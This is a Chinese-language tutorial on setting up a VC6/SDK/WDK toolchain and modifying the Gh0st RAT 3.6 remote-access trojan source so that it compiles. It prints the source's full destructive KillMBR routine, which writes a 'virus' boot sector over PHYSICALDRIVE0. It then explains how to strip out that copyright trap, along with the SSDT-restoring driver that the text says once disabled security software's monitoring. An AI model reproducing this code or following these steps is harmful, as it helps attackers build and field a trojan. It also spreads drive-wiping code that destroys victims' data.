一、安装VC6+SDK+WDK
SDK安装不正确在编译的时候会出现莫名的错误,需要特别注意。
注意事项:
1、在安装或者使用VC++6.0时,凡是出现兼容性问题的提示对话框,一律勾选“不再显示此消息”,然后选择“运行程序”。
2、在安装VC的时候,选择“custom(自定义安装)”,特别注意在安装的时候不要选择TOOLS里面的OLE/COM OBJECT VIEWER工具,就可以顺利安装,这只是一个查看工具,不会影响VC++的编译。
3、安装SDK的时候要注意,不是所有的SDK都支持VC6,支持VC6.0的最后一个SDK版本是Microsoft Plateform SDK Febrary 2003,但这个版本不能在64位WIN7上运行,可以先在32位机器上安装,然后将整个目录拷贝出来放到64位WIN7上。
4、安装完SDK,WDK后要配置VC6,工具->选项中找到“目录”选项卡,将SDK、WDK的路径(include 、library、可执行文件)包含进去,由于路径选择有先后顺序,每添加一个都要将其移动到第一个位置。
二、gh0st3.6的代码修改
(一)、去除硬盘锁
GH0st硬盘锁是源码的作者为了保护版权而设置的,如果我们直接更改版权会造成硬盘被锁
中了硬盘锁的后果是非常严重的,特别是你电脑里有重要数据的时候,这样会导致你电脑里的数据全部丢失!
1、搜索 unsigned char scode[] =
位置:\Gh0st3.6原版\gh0st\gh0st.cpp(220):unsigned char scode[] =
/* 硬盘锁 代码位置 1 开始位置 / // CGh0stApp message handlers unsigned char scode[] = "\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c" "\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72" "\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29"; int CGh0stApp::KillMBR() { HANDLE hDevice; DWORD dwBytesWritten, dwBytesReturned; BYTE pMBR[512] = {0}; // 重新构造MBR memcpy(pMBR, scode, sizeof(scode) - 1); pMBR[510] = 0x55; pMBR[511] = 0xAA; hDevice = CreateFile ( "\\\\.\\PHYSICALDRIVE0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL ); if (hDevice == INVALID_HANDLE_VALUE) return -1; DeviceIoControl ( hDevice, FSCTL_LOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL ); // 写入病毒内容 WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL); DeviceIoControl ( hDevice, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL ); CloseHandle(hDevice); ExitProcess(-1); return 0; } 结束位置 */ |
2、再搜索这个:
void CBuildView::OnActivateView(BOOL bActivate, CView* pActivateView, CView* pDeactiveView)
位置:\Gh0st3.6原版\gh0st\BuildView.cpp(152):void CBuildView::OnActivateView(BOOL bActivate, CView* pActivateView, CView* pDeactiveView)
/* 去除硬盘锁 代码位置 2 开始处 OnEnableHttp(); char strVer[10]; char strTitle[10]; strVer[0] = 'C'; strVer[1] = '.'; strVer[2] = 'R'; strVer[3] = 'u'; strVer[4] = 'f'; strVer[5] = 'u'; strVer[6] = 's'; strVer[7] = ' '; strVer[8] = 'S'; strVer[9] = '\0'; strTitle[0] = 'G'; strTitle[1] = 'h'; strTitle[2] = '0'; strTitle[3] = 's'; strTitle[4] = 't'; strTitle[5] = ' '; strTitle[6] = 'R'; strTitle[7] = 'A'; strTitle[8] = 'T'; strTitle[9] = '\0'; CString str; GetDlgItemText(IDC_STATIC_VER, str); if (str.Find(strVer) == -1) ((CGh0stApp *)AfxGetApp())->KillMBR(); GetParent()->GetWindowText(str); if (str.Find(strTitle) == -1) ((CGh0stApp *)AfxGetApp())->KillMBR(); 结束处 */ |
编译成功!
(二)、去除驱动文件
现在利用驱动程序在ring0态恢复SSDT HOOK(钩子),使部分安全软件的主动防御和监控失效的功能已经被很多杀软主动拦截或者驱动文件本身对于杀软已经失效,所以我们得去除掉这个驱动文件了。去除sys文件无非就是把调用了这个功能的地方注释掉就可以了,然后再去除sys的资源调用,就不会再加载驱动恢复SSDT了
1、先搜索ResetSSDT,然后把搜索到的全注释掉 10处 这里要从根文件夹搜索
1-5 处 位置: \Gh0st3.6原版\Server\install\install.cpp(439):bool ResetSSDT(HMODULE hModule)
/* 去除驱动文件 代理位置 1-5/10 开始位置 bool ResetSSDT(HMODULE hModule) { typedef bool (__stdcall * LPResetSSDT)(); bool bRet = true; char strTmpPath[MAX_PATH]; char strDllPath[MAX_PATH]; GetTempPath(sizeof(strTmpPath), strTmpPath); GetTempPath(sizeof(strDllPath), strDllPath); wsprintf(strDllPath, "%s\\%d_ex.tmp", strTmpPath, GetTickCount()); try { ReleaseResource(hModule, IDR_DLL, "BIN", strDllPath, NULL); HMODULE hDll = LoadLibrary(strDllPath); if (hDll == NULL) { throw ""; } LPResetSSDT ResetSSDT = (LPResetSSDT)GetProcAddress(hDll, "ResetSSDT"); if (ResetSSDT == NULL) throw ""; ResetSSDT(); FreeLibrary(hDll); }catch(...) { bRet = false; DeleteFile(strDllPath); } return bRet; } 结束位置 */ |
2、第 6/10处
\Server\install\install.cpp(581): ResetSSDT(hInstance);
// 除去 驱动文件 位置 6/10 // ResetSSDT(hInstance); |
3、\Gh0st3.6原版\Server\svchost\svchost.cpp(11):#include "common/resetssdt.h"
//除去驱动代码位置 7/10 //#include "common/resetssdt.h" |
4、\Gh0st3.6原版\Server\svchost\svchost.cpp(24):extern "C" __declspec(dllexport) bool ResetSSDT();
//除去驱动代码位置 8/10 //extern "C" __declspec(dllexport) bool ResetSSDT(); |
5、\Gh0st3.6原版\Server\svchost\svchost.cpp(83): ResetSSDT();
//除去驱动代码位置 9/10 // ResetSSDT(); |
6、\Gh0st3.6原版\Server\svchost\svchost.cpp(222):extern "C" __declspec(dllexport) bool ResetSSDT()
//除去驱动代码位置 10/10 /* extern "C" __declspec(dllexport) bool ResetSSDT() { return RestoreSSDT(CKeyboardManager::g_hInstance); } */ |
7、注释掉资源调用
搜这句话 IDR_SYS
位置 :\Gh0st3.6原版\Server\svchost\svchost.rc(29):IDR_SYS BIN DISCARDABLE "..\\sys\\RESSDT.sys"
//注释 驱动 资源文件 //IDR_SYS BIN DISCARDABLE "..\\sys\\RESSDT.sys" |
再删除svchost files 工程中的 RESSDT.sys
8、在文件夹中的工程 中 搜索:resetssdt.h
删除!